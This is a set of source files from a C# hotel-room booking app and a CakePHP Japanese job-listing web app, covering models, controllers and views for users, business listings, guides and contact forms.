/// method. Finally it will reset the color scheme of the datagridview
/// to correspond with whether the rooms are occupied or not.
/// </summary>
private void TryLoadData()
{
try
{
DataSet ds = new DataSet();
XDocument doc = XDocument.Load("xmlFile.xml");
listOfGuestsWithRooms = new BindingList<Guest>();
var SavedRooms = doc.Descendants("HotelRoom");
foreach (var r in SavedRooms)
if (!(bool) r.Element("isNotOccupied"))
{
var room = getRoomByFloorAndRoomNumbers(
int.Parse(r.Element("FloorNumber").Value),
int.Parse(r.Element("RoomNumber").Value));
room.SetOccupant(new Guest(
(string) r.Element("currOccupant").Element("GuestName"),
(DateTime) r.Element("currOccupant").Element("StayingFrom"),
(DateTime) r.Element("currOccupant").Element("StayingTo")));
listOfGuestsWithRooms.Add(room.currOccupant);
room.currOccupant.setRoom = room;
}
/* Reset the guestlists */
listOfGuestsWithoutRooms = new BindingList<Guest>();
} catch (Exception xmlLoadingException)
{
displayForAFew(xmlLoadingException.Message, 5);
} finally
{
refreshDataGrids();
}
}
/// <summary>
/// Displays the ErrorMsgLoad message with the input message
/// for the input amount of seconds.
/// </summary>
/// <param name="message"></param>
/// <param name="secondsTheMessageWillBeDisplayed"></param>
private async void displayForAFew(string message, float secondsTheMessageWillBeDisplayed)
{
ErrorMsgLoad.Text = message;
ErrorMsgLoad.Visible = true;
await Task.Delay((int) secondsTheMessageWillBeDisplayed * 1000);
ErrorMsgLoad.Visible = false;
}
/// <summary>
/// Calls the method UpdateVisualsInDataGridViewRow when the
/// tabControl's selected index (tab) is changed.
/// </summary>
private void tabControl_SelectedIndexChanged(object sender, EventArgs e)
{
UpdateVisualsInDataGridViewRow();
}
/// <summary>
/// Updates the current DataGridView's rows background
/// colors depending on whether the respective HotelRooms
/// are occupied.
/// </summary>
private void UpdateVisualsInDataGridViewRow()
{
var curGrid = getCurrDataGrid();
if (curGrid != null)
foreach (DataGridViewRow item in curGrid.Rows)
{
if (((HotelRoom) item.DataBoundItem).isNotOccupied)
item.DefaultCellStyle.BackColor = Color.LightGreen;
else
item.DefaultCellStyle.BackColor = Color.CadetBlue;
}
Refresh();
}
}
}
<file_sep>/HotelElementClasses/Guest.cs
using System;
namespace HotelMania
{
public class Guest
{
/// <summary>
/// The name of the Guest in question.
/// </summary>
public string GuestName { get; set; }
/// <summary>
/// The HotelRoom that has been assigned to the Guest, if any.
/// </summary>
private HotelRoom BookedRoom;
/// <summary>
/// The date the guest has booked a room from
/// </summary>
public DateTime StayingFrom;
/// <summary>
/// The date the guest will be leaving
/// </summary>
public DateTime StayingTo;
/// <summary>
/// This returns the room of the guest.
/// </summary>
public HotelRoom getRoom
{
get
{
if (BookedRoom != null)
return BookedRoom;
return null;
}
}
public HotelRoom setRoom
{
set {
BookedRoom = value;
}
}
/// <summary>
/// The number of the floor the guest will be staying in
/// </summary>
public int FloorNumber
{
get
{
if (hasRoom)
return BookedRoom.FloorNumber;
return 0;
}
}
/// <summary>
/// The number of the room the guest will be staying in
/// </summary>
public int RoomNumber
{
get
{
if (hasRoom)
return BookedRoom.RoomNumber;
return 0;
}
}
/// <summary>
/// Whether the guest has been assigned a room to stay in
/// </summary>
public bool hasRoom
{
get
{
if (BookedRoom != null)
return true;
return false;
}
}
/// <summary>
/// The constuctor function for the Guest. Takes a guest name, when the guest is arriving and when the guest is leaving as parameters.
/// </summary>
/// <param name="_guestName"> The name of the guest. </param>
/// <param name="_stayingFrom"> The date the guest is checking in. </param>
/// <param name="_stayingTo"> The date the guest is checking out. </param>
public Guest (string _guestName, DateTime _stayingFrom, DateTime _stayingTo)
{
GuestName = _guestName;
StayingFrom = _stayingFrom;
StayingTo = _stayingTo;
}
public Guest()
{
// de nada?
}
/// <summary>
/// Assigns the input room to the Guest if it is available and a valid room.
/// </summary>
/// <param name="_room">The room you are trying to assign to the guest</param>
public void AssignRoom(HotelRoom _room)
{
if (_room != null && _room.isNotOccupied /* And logic for checking whether the room is available between StayingFrom to StayingTo */)
if (_room.isNotOccupied == true)
{
_room.SetOccupant(this);
BookedRoom = _room;
}
}
/// <summary>
/// Removes the room from the Guest
/// </summary>
public void RemoveRoom()
{
if (BookedRoom != null)
BookedRoom = null;
}
/// <summary>
/// Changes the date of the order from the current dates to the input dates.
/// </summary>
/// <param name="_stayingFrom"> The date the guest checks in </param>
/// <param name="_stayingTo"> The date the guest checks out </param>
public void ChangeOrderDate(DateTime _stayingFrom, DateTime _stayingTo)
{
StayingFrom = _stayingFrom;
StayingTo = _stayingTo;
// Add logic that checks whether the room is occupied in that timespan. If it is, throw a message saying that the room has been unassigned and unassign the room.
}
/// <summary>
/// If only one of the two dates are to be changed.
/// </summary>
/// <param name="date"></param>
/// <param name="_FromDateOrToDate"></param>
public void ChangeOrderDate(DateTime date, short _FromDateOrToDate)
{
switch (_FromDateOrToDate)
{
case 1:
StayingFrom = date;
break;
case 2:
StayingTo = date;
break;
default:
// Send an error message
break;
}
}
}
}
<file_sep>/HotelElementClasses/Hotel.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace HotelMania
{
public class Hotel
{
public const int numberOfRooms = 14, numberOfFloors = 3;
public List<Floor> listOfFloors = new List<Floor>();
/// <summary>
/// Constructor function for the Hotel class.
/// </summary>
public Hotel()
{
for (int i = 1; i <= numberOfFloors; i++)
listOfFloors.Add(new Floor(i, numberOfRooms));
}
}
}
<file_sep>/HotelElementClasses/HotelRoom.cs
using System;
using System.Collections.Generic;
namespace HotelMania
{
public class HotelRoom
{
/// <summary>
/// The number of the room on the designated floor
/// </summary>
public int RoomNumber { get; set; }
/// <summary>
/// The number of the floor the room is on
/// </summary>
public int FloorNumber { get; set; }
/// <summary>
/// The current Guest occupying the room
/// </summary>
public Guest currOccupant { get; set; }
/// <summary>
/// The name of the guest. Returns null if there is no guest present.
/// </summary>
public string nameOfOccupant
{
get
{
if (!isNotOccupied)
return currOccupant.GuestName;
return null;
}
}
/// <summary>
/// Whether or not there is a guest bound to the room.
/// </summary>
public bool isNotOccupied
{
get {
if (currOccupant == null)
return true;
return false;
}
}
/// <summary>
/// A list of dates the room is occupied
/// </summary>
public List<DateTime> datesOccupied;
/// <summary>
/// Constructor function for the HotelRoom which takes two ints as params
/// </summary>
/// <param name="_roomNumber"> The number of the room on the designated floor </param>
/// <param name="_floorNumber"> The number of the floor the room is on </param>
public HotelRoom (int _roomNumber, int _floorNumber)
{
RoomNumber = _roomNumber;
FloorNumber = _floorNumber;
}
/// <summary>
/// Set the input occupant as the current guest.
/// </summary>
/// <param name="guest"></param>
public void SetOccupant(Guest guest)
{
currOccupant = guest;
}
/// <summary>
/// Sets the current guest to null.
/// </summary>
public void SetOccupant()
{
currOccupant = null;
}
}
}
|
15183fd1d0a3ba72ec08c97e6e66871bfdcd0280
|
[
"C#"
] | 5
|
C#
|
sprtn/HotelMania
|
44c44d237e0e324dfd7832f874cea370e56a2528
|
a03dcfabf9e8dfd54e00d62ce37bdd81e9579af2
|
refs/heads/master
|
<file_sep>package aws // import "recast.sh/v0/provider/aws"
|
d9a0242019549fcbc2f85e9c26f260bd4831776f
|
[
"Go"
] | 1
|
Go
|
recast-sh/aws-provider
|
28216cefaa87c3bd577905dd9861a85d6eebd430
|
dce367a6f26e43d4ced960380cc097299336e98f
|
refs/heads/master
|
<repo_name>szkmiyabi/jcicloud<file_sep>/app/View/Elements/sidebar-active.ctp
<?php $deadline_num = $this->DateUtility->remaining($business['Business']['wanted_deadline']); ?>
<dl id="subinformation">
<dt>状態</dt>
<dd><span class="large">募集中</span></dd>
<dt>応募件数</dt>
<dd><span class="large"><?php echo $entry_arr[$business['Business']['id']]; ?></span>人</dd>
<dt>残り日数</dt>
<dd>
<?php if($deadline_num >= 0): ?>
あと<span class="large"><?php echo $this->DateUtility->remaining($business['Business']['wanted_deadline']); ?></span>日
<?php else: ?>
募集は締め切りました
<?php endif; ?>
</dd>
</dl>
<?php if($deadline_num >= 0): ?>
<?php echo $this->Form->create('Entry', array('url' => array('controller' => 'pages', 'action' => 'entry'))); ?>
<?php echo $this->Form->hidden('id', array('value' => $business['Business']['id'])); ?>
<dl id="entryinformation">
<dt><?php echo $this->Form->label('entry_business_lines', '応募する業務区分'); ?></dt>
<dd><?php echo $this->Form->input('entry_business_lines', array(
'label' => FALSE,
'style' => 'width:180px;height:5em' )); ?></dd>
<dt><?php echo $this->Form->label('entry_comments', '要望/質問'); ?></dt>
<dd><?php echo $this->Form->input('entry_comments', array('label' => FALSE,
'style' => 'width:180px;height:5em' )); ?></dd>
</dl>
<div class="entry-submit">
<?php echo $this->Form->submit('この業務に応募する', array('div' => FALSE)); ?></div>
<?php echo $this->Form->end(); ?>
<?php endif; ?>
<file_sep>/app/Model/Question.php
<?php
class Question extends AppModel {
public $useTable = FALSE;
public $_schema = array(
'business_id' => array(
'type' => 'integer'
),
'mail' => array(
'type' => 'string',
'length' => '50'
),
'comments' => array(
'type' => 'text'
)
);
public $validate = array(
'mail' => array(
'rule' => 'email',
'message' => '正しいメールアドレスを入力してください。',
'allowEmpty' => TRUE
),
'comments' => array(
'required' => array(
'rule' => 'notEmpty',
'message' => '問い合わせ内容は必須です。'
)
)
);
}
?><file_sep>/app/View/Users/index.ctp
<div id="simplelist">
<h2>ユーザ管理</h2>
<p><?php echo $this->Html->link('新規追加', array('action' => 'add'), array('class' => 'textsubmit')); ?></p>
<?php echo $this->element('paginator'); ?>
<table>
<tr>
<th class="w50">Id</th>
<th class="w100">ユーザID</th>
<th>氏名</th>
<th class="w100">権限</th>
<th class="w180">更新日</th>
<th class="w100">処理</th>
</tr>
<?php foreach($users as $user): ?>
<tr>
<td><?php echo $user['User']['id']; ?></td>
<td><?php echo $user['User']['username']; ?></td>
<td><?php echo $user['User']['userfullname'] ?></td>
<td><?php echo $user['User']['role']; ?></td>
<td><?php echo $user['User']['modified']; ?></td>
<td>
<?php echo $this->Html->link('編集', array('action' => 'edit', $user['User']['id'])); ?>
<?php echo $this->Form->postLink(
'削除',
array('action' => 'delete', $user['User']['id']),
array('confirm' => '本当に削除してもよろしいですか?')); ?>
</td>
</tr>
<?php endforeach; ?>
</table>
<div id="backlink">
<?php echo $this->Html->link('メニューに戻る', array('controller' => 'menus', 'action' => 'index')); ?>
</div>
</div>
<file_sep>/app/View/Businesses/add.ctp
<div id="simpleform">
<h2>業務追加</h2>
<?php echo $this->Form->create('Business'); ?>
<table>
<tr>
<th><?php echo $this->Form->label('business_code', '業務番号'); ?></th>
<td><?php echo $this->Form->input('business_code', array('label' => FALSE)); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('business_name', '業務名称'); ?></th>
<td><?php echo $this->Form->input('business_name', array('label' => FALSE,
'style' => 'width:300px' )); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('category_id', 'カテゴリ'); ?></th>
<td><?php echo $this->Form->select('category_id', $category_list, array('label' => FALSE)); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('customer', '発注元'); ?></th>
<td><?php echo $this->Form->input('customer', array('label' => FALSE,
'style' => 'width:150px' )); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('detail', '業務詳細'); ?></th>
<td><?php echo $this->Form->input('detail', array(
'label' => FALSE,
'style' => 'width:640px;height:20em;')); ?>
</td>
</tr>
<tr>
<th><?php echo $this->Form->label('order_date', '受注日'); ?></th>
<td><?php echo $this->Form->input('order_date', array(
'dateFormat' => 'YMD',
'monthNames' => FALSE,
'label' => FALSE
)); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('deadline', '納入期日'); ?></th>
<td><?php echo $this->Form->input('deadline', array(
'dateFormat' => 'YMD',
'monthNames' => FALSE,
'label' => FALSE
)); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('wanted_deadline', '募集期日'); ?></th>
<td><?php echo $this->Form->input('wanted_deadline', array(
'dateFormat' => 'YMD',
'monthNames' => FALSE,
'label' => FALSE
)); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('wanted_persons', '募集人数'); ?></th>
<td><?php echo $this->Form->input('wanted_persons', array('label' => FALSE)); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('wanted_requirements', '応募要件'); ?></th>
<td><?php echo $this->Form->input('wanted_requirements', array(
'label' => FALSE,
'style' => 'width:640px;height:10em;' )); ?>
</td>
</tr>
<tr>
<th><?php echo $this->Form->label('status', '募集属性'); ?></th>
<td><?php echo $this->Form->input('status', array(
'label' => FALSE,
'options' => $status_list
)); ?>
</td>
</tr>
<tr>
<th><?php echo $this->Form->label('display_flag', '公開状態'); ?></th>
<td><?php echo $this->Form->input('display_flag', array(
'label' => FALSE,
'options' => $display_flag_list
)); ?>
</td>
</tr>
</table>
<div id="formsubmit">
<?php echo $this->Form->submit('送信'); ?>
</div>
<?php echo $this->Form->end(); ?>
<div id="backlink">
<?php echo $this->Html->link('戻る', array('action' => 'index')); ?>
</div>
</div>
<script type="text/javascript">
tinyMCE.init({
mode : "textareas",
theme : "modern",
language : "ja",
plugins : "code textcolor image link",
toolbar: "undo redo | styleselect | bold italic | alignleft aligncenter alignright | bullist numlist outdent indent | forecolor backcolor | link image",
style_formats: [
{title: '見出し【h3】', block: 'h3'},
{title: '見出し【h4】', block: 'h4'},
{title: '見出し【h5】', block: 'h5'},
{title: '見出し【h6】', block: 'h6'}
],
relative_urls : false,
content_css : "/cloud/css/jci.cloud.css",
file_browser_callback: function(field, url, type, win) {
tinyMCE.activeEditor.windowManager.open({
file: '/cloud/js/kcfinder/browse.php?opener=tinymce4&field=' + field + '&type=' + type,
title: 'KCFinder',
width: 700,
height: 500,
inline: true,
close_previous: false
}, {
window: win,
input: field
});
return false;
}
});
</script><file_sep>/app/Controller/UsersController.php
<?php
class UsersController extends AppController {
public function beforeFilter() {
parent::beforeFilter();
$this->Auth->allow('login', 'logout');
}
public function isAuthorized($user) {
return parent::isAuthorized($user);
}
public function login() {
$this->set('title_for_layout', 'ログイン|');
if($this->request->is('post')) {
if($this->Auth->login()) {
$this->Session->write('isLogin', 'true');
$id = $this->Auth->user('id');
$userData = $this->User->findById($id);
$userName = $userData['User']['userfullname'];
$this->Session->write('userName', $userName);
$userRole = $userData['User']['role'];
$this->Session->write('userRole', $userRole);
$this->redirect($this->Auth->redirect());
}
else
{
$this->Session->setFlash('ユーザ名またはパスワードが違います。');
}
}
}
public function logout() {
$logoutredirect = $this->Auth->logout();
$this->Session->destroy();
$this->redirect($logoutredirect);
}
public function index() {
$this->set('title_for_layout', 'ユーザ管理|');
//1ページの表示件数
$this->paginate = array(
'limit' => 20
);
$this->set('users', $this->paginate());
}
public function view($id = NULL) {
$this->set('title_for_layout', '詳細|ユーザ管理|');
$this->User->id = $id;
if(!$this->User->exists()) {
throw new NotFoundException('Invalid user');
}
$this->set('user', $this->User->read(NULL, $id));
}
public function add() {
$this->set('title_for_layout', '新規追加|ユーザ管理|');
if($this->request->is('post')) {
$this->User->create();
if($this->User->save($this->request->data)) {
$this->Session->setFlash('ユーザ情報は保存されました。');
$this->redirect(array('action' => 'index'));
}
else {
$this->Session->setFlash('ユーザ情報は保存されませんでした。再度操作を試してください。');
}
}
}
public function edit($id = NULL) {
$this->set('title_for_layout', '編集|ユーザ管理|');
$this->User->id = $id;
if(!$this->User->exists()) {
throw new NotFoundException('Invalid user');
}
if($this->request->is('post') || $this->request->is('put')) {
if($this->User->save($this->request->data)) {
$this->Session->setFlash('ユーザ情報は更新されました。');
$this->redirect(array('action' => 'index'));
}
else {
$this->Session->setFlash('ユーザ情報は更新されませんでした。再度操作を試してください。');
}
}
else
{
$this->request->data = $this->User->read(NULL, $id);
unset($this->request->data['User']['password']);
}
}
public function delete($id = NULL) {
$this->set('title_for_layout', '削除|ユーザ管理|');
$this->request->onlyAllow('post');
$this->User->id = $id;
if(!$this->User->exists()) {
throw new NotFoundException('Invalid user');
}
if($this->User->delete()) {
$this->Session->setFlash('ユーザ情報は削除されました。');
$this->redirect(array('action' => 'index'));
}
$this->Session->setFlash('ユーザ情報は更新されませんでした。再度操作を試してください。');
$this->redirect(array('action' => 'index'));
}
}
?>
<file_sep>/app/Controller/BusinessesController.php
<?php
class BusinessesController extends AppController {
public $uses = array('Business', 'Category', 'User');
public $helpers = array('DateUtility', 'MyHtml');
public $status_list = array('active' => '募集する', 'unactive' => '募集しない');
public $display_flag_list = array('disabled' => '非公開', 'enabled' => '公開');
public function beforeFilter() {
parent::beforeFilter();
}
public function isAuthorized($user) {
return parent::isAuthorized($user);
}
public function getCategoryList() {
return $this->Category->find('list', array(
'fields' => array('Category.catname')
));
}
public function getUserList() {
return $this->User->find('list', array(
'fields' => array('User.userfullname')
));
}
public function index() {
$this->set('title_for_layout', '業務情報管理|');
$this->paginate = array(
'Business' => array(
'limit' => 20,
'order' => array('id' => 'desc')
)
);
$this->set('businesses', $this->paginate());
$this->set('category_list', $this->getCategoryList());
$this->set('user_list', $this->getUserList());
$this->set('display_flag_list', $this->display_flag_list);
}
public function view($id = NULL) {
$this->set('title_for_layout', '詳細|業務情報管理|');
if(!$id) {
throw new NotFoundException('Valid Access');
}
$business = $this->Business->findById($id);
if(!$business) {
throw new NotFoundException('Valid Access');
}
$this->set('business', $business);
$this->set('category_list', $this->getCategoryList());
$this->set('user_list', $this->getUserList());
$this->set('status_list', $this->status_list);
$this->set('display_flag_list', $this->display_flag_list);
}
public function add() {
$this->set('title_for_layout', '新規追加|業務情報管理|');
if($this->request->is('post')) {
$this->request->data['Business']['user_id'] = $this->Auth->user('id');
$this->Business->create();
if($this->Business->save($this->request->data)) {
$this->Session->setFlash('業務情報は保存されました。');
$this->redirect(array('action' => 'index'));
}
else
{
$this->Session->setFlash('業務情報は保存されませんでした。');
}
}
else {
$this->set("category_list", $this->getCategoryList());
$this->set("status_list", $this->status_list);
$this->set("display_flag_list", $this->display_flag_list);
}
}
public function edit($id = NULL) {
$this->set('title_for_layout', '編集|業務情報管理|');
if(!$id) {
throw new NotFoundExeption('Valid Access');
}
$business = $this->Business->findById($id);
if(!$business) {
throw new NotFoundExeption('Valid Access');
}
if($this->request->is('post') || $this->request->is('put')) {
$this->Business->id = $id;
if($this->Business->save($this->request->data)) {
$this->Session->setFlash('業務情報を更新しました。');
return $this->redirect(array('action' => 'index'));
}
$this->Session->setFlash('業務情報は更新されませんでした。');
}
if(!$this->request->data) {
$this->request->data = $business;
}
$this->set('category_list', $this->getCategoryList());
$this->set('status_list', $this->status_list);
$this->set('display_flag_list', $this->display_flag_list);
}
public function delete($id = NULL) {
$this->set('title_for_layout', '削除|業務情報管理|');
$this->request->onlyAllow('post');
$this->Business->id = $id;
if($this->Business->delete()) {
$this->Session->setFlash('業務情報は削除されました。');
return $this->redirect(array('action' => 'index'));
}
$this->Session->setFlash('業務情報は削除されませんでした。');
$this->redirect(array('action' => 'index'));
}
}
?><file_sep>/app/Controller/GuidesController.php
<?php
class GuidesController extends AppController {
public function beforeFilter() {
parent::beforeFilter();
}
public function isAuthorized($user) {
return parent::isAuthorized($user);
}
public function index() {
$this->set('title_for_layout', 'ガイド管理|');
$this->paginate = array(
'Guide' => array(
'limit' => 20
)
);
$this->set('guides', $this->paginate());
}
public function view($id = NULL) {
$this->set('title_for_layout', '詳細|ガイド管理');
if(!$id) {
throw new NotFoundExeception('Valid Access');
}
$guide = $this->Guide->findById($id);
$this->set('guide', $guide);
}
public function add() {
$this->set('title_for_layout', '新規|ガイド管理|');
$category_list = array(
'readers' => '一般用',
'admins' => '管理者用'
);
$this->set('category_list', $category_list);
$status_list = array(
'disabled' => '非公開',
'enabled' => '公開'
);
$this->set('status_list', $status_list);
if($this->request->is('post')) {
$this->Guide->create();
if($this->Guide->save($this->request->data)) {
$this->Session->setFlash('ガイドは登録されました。');
$this->redirect(array('action' => 'index'));
}
else {
$this->Session->setFlash('ガイドは登録されませんでした。');
}
}
}
public function edit($id = NULL) {
$this->set('title_for_layout', '編集|ガイド管理|');
$category_list = array(
'readers' => '一般用',
'admins' => '管理者用'
);
$this->set('category_list', $category_list);
$status_list = array(
'disabled' => '非公開',
'enabled' => '公開'
);
$this->set('status_list', $status_list);
if(!$id) {
throw new NotFoundException('Valid Access');
}
$guide = $this->Guide->findById($id);
if(!$guide) {
throw new NotFoundException('Valid Access');
}
if($this->request->is('post') || $this->request->is('put')) {
$this->Guide->id = $id;
if($this->Guide->save($this->request->data)) {
$this->Session->setFlash('ガイドを更新しました。');
$this->redirect(array('action' => 'index'));
}
$this->Session->setFlash('ガイドは更新されませんでした。');
}
if(!$this->request->data) {
$this->request->data = $guide;
}
}
public function delete($id = NULL) {
$this->set('title_for_layout', '削除|ガイド管理|');
$this->request->onlyAllow('post');
$this->Guide->id = $id;
if($this->Guide->delete()) {
$this->Session->setFlash('ガイドは削除されました。');
$this->redirect(array('action' => 'index'));
}
$this->Session->setFlash('ガイドは削除されませんでした。');
$this->redirect(array('action' => 'index'));
}
}
?>
<file_sep>/app/View/Elements/topicsinfo2.ctp
<?php if(count($datas2) < 1): ?>
<p>該当する業務は存在しません。</p>
<?php else: ?>
<?php foreach($datas2 as $data): ?>
<ul class="topicslist">
<li class="c1">
<?php echo $this->DateUtility->datetime2ymd($data['Topic']['created']); ?></dt>
</li>
<li class="c2">
<dl>
<dt><?php echo $this->Html->link($data['Topic']['title'], array('action' => 'topic', $data['Topic']['id'])); ?></dt>
<dd><?php echo $data['Topic']['summary']; ?></dd>
</dl>
</li>
</ul>
<?php endforeach; ?>
<?php endif; ?><file_sep>/app/View/Helper/MyHtmlHelper.php
<?php
App::uses('AppHelper', 'View/Helper');
class MyHtmlHelper extends AppHelper {
public $helpers = array('Html');
//分類アイコンのタグを生成する
public function getCategoryImageTag($key) {
return $this->Html->image('/images/bizicon-'.$key.'.gif', array(
'alt' => ''
));
}
public function getCategoryIcon($key) {
return $this->Html->image('/images/bizicon-mini-'.$key.'.gif', array(
'alt' => ''
));
}
//カテゴリ名のタグ(アイコン付)を生成する
public function getCategoryText($key, $val) {
return $this->Html->tag('div', $val, array(
'style' => $this->Html->style(array(
'background-image' => 'url(/cloud/images/bizicon-mini-'.$key.'.gif)',
'background-repeat' => 'no-repeat',
'padding-left' => '40px',
'line-height' => '30px'
))
));
}
}
?>
<file_sep>/app/View/Layouts/jci.cloud.ctp
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="utf-8">
<title><?php echo $title_for_layout; ?>受注業務閲覧データベース JCIクラウド</title>
<?php
echo $this->Html->meta('favicon.ico', '/images/favicon.ico', array('type' => 'icon'));
echo $this->Html->css('jci.cloud');
echo $this->Html->script('tinymce/tinymce.min');
echo $this->fetch('meta');
echo $this->fetch('css');
echo $this->fetch('script');
?>
</head>
<body>
<!-- wrapper start -->
<div id="wrapper">
<!-- header start -->
<div id="header">
<h1 id="logo"><img src="/cloud/images/logo.png" alt="JCI在宅就業支援センター受注業務閲覧データベースJCI.CLOUD"></h1>
<?php
$isLogin = $this->Session->read('isLogin');
$userName = $this->Session->read('userName');
?>
<?php if($isLogin): ?>
<div id="logininfo">
<p>こんにちは、<?php echo $userName; ?> さん。</p>
<p><?php echo $this->Html->link('ログアウト', array('controller' => 'users', 'action' => 'logout')); ?></p>
</div>
<?php else: ?>
<div id="logininfo">
<p>あなたはログインしていません。</p>
<p><?php echo $this->Html->link('ログイン', array('controller' => 'users', 'action' => 'login')); ?></p>
</div>
<?php endif; ?>
</div>
<!-- header end -->
<!-- nav start -->
<div id="nav">
<!-- nav-line start -->
<div id="nav-line">
<ul id="global-nav">
<li id="m01">
<?php echo $this->Html->link('ホーム', array('controller' => 'Pages', 'action' => 'index')); ?>
</li>
<li id="m02">
<?php echo $this->Html->link('仕事を探す', array('controller' => 'Pages', 'action' => 'search')); ?>
</li>
<li id="m03"><?php echo $this->Html->link('使い方ガイド', array('controller' => 'Pages', 'action' => 'guide')); ?>
</li>
<li id="m04"><?php echo $this->Html->link('トピックス', array('controller' => 'Pages', 'action' => 'topicslist')); ?>
</li>
<li id="m05"><?php echo $this->Html->link('お問い合わせ', array('controller' => 'Pages', 'action' => 'contact')); ?>
</li>
<?php $userRole = $this->Session->read('userRole'); ?>
<?php if($userRole === 'admin'): ?>
<li id="m06"><?php echo $this->Html->link('管理者機能', array('controller' => 'menus', 'action' => 'index')); ?>
</li>
<?php endif; ?>
</ul>
</div>
<!-- nav-line end -->
</div>
<!-- nav end -->
<!-- content start -->
<div id="content">
<?php echo $this->Session->flash(); ?>
<?php echo $this->fetch('content'); ?>
</div>
<!-- content end -->
<!-- content-bottom start -->
<div id="content-bottom">
<div id="pagetop">
<a href="#wrapper">ページトップへ戻る</a>
</div>
</div>
<!-- content-bottom end -->
<!-- footer start -->
<div id="footer">
<!-- foot-nav start -->
<div id="foot-nav">
<ul>
<li><?php echo $this->Html->link('ホーム', array('controller' => 'Pages', 'action' => 'index')); ?></li>
<li><?php echo $this->Html->link('仕事を探す', array('controller' => 'Pages', 'action' => 'search')); ?></li>
<li><?php echo $this->Html->link('使い方ガイド', array('controller' => 'Pages', 'action' => 'guide')); ?></li>
<li><?php echo $this->Html->link('お問い合わせ', array('controller' => 'Pages', 'action' => 'contact')); ?></li>
</ul>
</div>
<!-- foot-nav end -->
<address>Copyright © JCI CLOUD powerd by JCI Telworkers’ Network, All Rights Reserved.</address>
</div>
<!-- footer end -->
</div>
<!-- wrapper end -->
</body>
</html>
<file_sep>/app/View/Pages/display.ctp
<?php $status_val = $business['Business']['status']; ?>
<div id="display-header">
<h2>業務詳細</h2>
</div>
<div id="display">
<table>
<tr>
<th>業務番号</th>
<td><?php echo $business['Business']['business_code']; ?></td>
</tr>
<tr>
<th>業務名</th>
<td><?php echo $business['Business']['business_name']; ?></td>
</tr>
<tr>
<th>カテゴリ</th>
<td>
<?php echo $this->MyHtml->getCategoryText(
$business['Business']['category_id'],
$category_list[$business['Business']['category_id']]
); ?>
</td>
</tr>
<tr>
<th>発注元</th>
<td><?php echo $business['Business']['customer']; ?></td>
</tr>
<tr>
<th>業務の詳細</th>
<td><?php echo $business['Business']['detail']; ?></td>
</tr>
<tr>
<th>受注日</th>
<td><?php echo $this->DateUtility->date2ymd($business['Business']['order_date']); ?></td>
</tr>
<tr>
<th>納入期日</th>
<td><?php echo $this->DateUtility->date2ymd($business['Business']['deadline']); ?></td>
</tr>
<?php if($status_val === 'active'): ?>
<tr>
<th>募集期日</th>
<td><?php echo $this->DateUtility->date2ymd($business['Business']['wanted_deadline']); ?></td>
</tr>
<tr>
<th>募集人数</th>
<td><?php echo $business['Business']['wanted_persons']; ?>人</td>
</tr>
<tr>
<th>応募要件</th>
<td><?php echo $business['Business']['wanted_requirements']; ?></td>
</tr>
<?php endif; ?>
<tr>
<th>登録日</th>
<td><?php echo $business['Business']['created']; ?></td>
</tr>
</table>
</div>
<div id="sidebar">
<?php if($status_val === "active"): ?>
<?php echo $this->element('sidebar-active'); ?>
<?php else: ?>
<?php echo $this->element('sidebar-unactive'); ?>
<?php endif; ?>
</div>
<div id="backlink">
<?php echo $this->Html->link('戻る', array('action' => 'index')); ?>
</div>
<file_sep>/app/View/Categories/index.ctp
<div id="simplelist">
<h2>カテゴリ管理</h2>
<p><?php echo $this->Html->link('新規追加', array('action' => 'add'), array('class' => 'textsubmit')); ?></p>
<table>
<tr>
<th class="w50">Id</th>
<th>カテゴリ名</th>
<th>処理</th>
</tr>
<?php foreach($categories as $category): ?>
<tr>
<td><?php echo $category['Category']['id']; ?></td>
<td><?php echo $category['Category']['catname']; ?></td>
<td>
<?php echo $this->Html->link('編集', array('action' => 'edit', $category['Category']['id'])); ?>
<?php echo $this->Form->postLink(
'削除',
array('action' => 'delete', $category['Category']['id']),
array('confirm' => '本当に削除してもよいですか?')); ?>
</td>
</tr>
<?php endforeach; ?>
</table>
<div id="backlink">
<?php echo $this->Html->link('メニューに戻る', array('controller' => 'menus', 'action' => 'index')); ?>
</div>
</div>
<file_sep>/app/View/Pages/result.ctp
<div id="search">
<h2>検索結果</h2>
<?php echo $this->element('paginator'); ?>
<?php echo $this->element('businessinfo'); ?>
<div id="backlink">
<?php echo $this->Html->link('戻る', array('action' => 'search')); ?>
</div>
</div><file_sep>/app/Model/Entry.php
<?php
class Entry extends AppModel {
//業務ごとの応募数を返す
public function getEntryNumByBusinesses($list = array()) {
$entry_arr = array();
foreach($list as $key => $val) {
$tmp = $this->find('count', array(
'conditions' => array(
'Entry.business_id' => $key
)
));
$entry_arr[$key] = $tmp;
}
return $entry_arr;
}
}
?><file_sep>/app/View/Elements/paginator.ctp
<div id="pagination">
<div>
<?php echo $this->Paginator->prev('<<'.__('戻る', true), array(), NULL,
array('class' => 'disabled', 'tag' => 'span'));
?>
<?php echo $this->Paginator->numbers(
array('separator' => '|', 'modulus' => 2));
?>
<?php echo $this->Paginator->next(__('進む', true).' >>', array(), NULL,
array('class' => 'disabled', 'tag' => 'span'));
?>
</div>
<div>
<?php echo $this->Paginator->counter(array(
'format' => '%start% ~ %end%(全%count%件)'
)); ?>
</div>
</div><file_sep>/app/Model/Contact.php
<?php
class Contact extends AppModel {
public $useTable = FALSE;
public $_schema = array(
'category' => array(
'type' => 'string',
'length' => '20'
),
'name' => array(
'type' => 'string',
'length' => '20'
),
'mail' => array(
'type' => 'string',
'length' => '50'
),
'tel' => array(
'type' => 'string',
'length' => '15'
),
'maintext' => array(
'type' => 'text'
)
);
public $validate = array(
'category' => array(
'required' => array(
'rule' => 'notEmpty',
'message' => '質問種別は必須です'
)
),
'name' => array(
'required' => array(
'rule' => 'notEmpty',
'message' => '名前は必須です。'
)
),
'mail' => array(
'rule' => 'email',
'message' => '正しいメールアドレスを入力してください。',
'allowEmpty' = TRUE
),
'maintext' => array(
'required' => array(
'rule' => 'notEmpty',
'message' => '問い合わせ内容は必須です。'
)
)
);
}
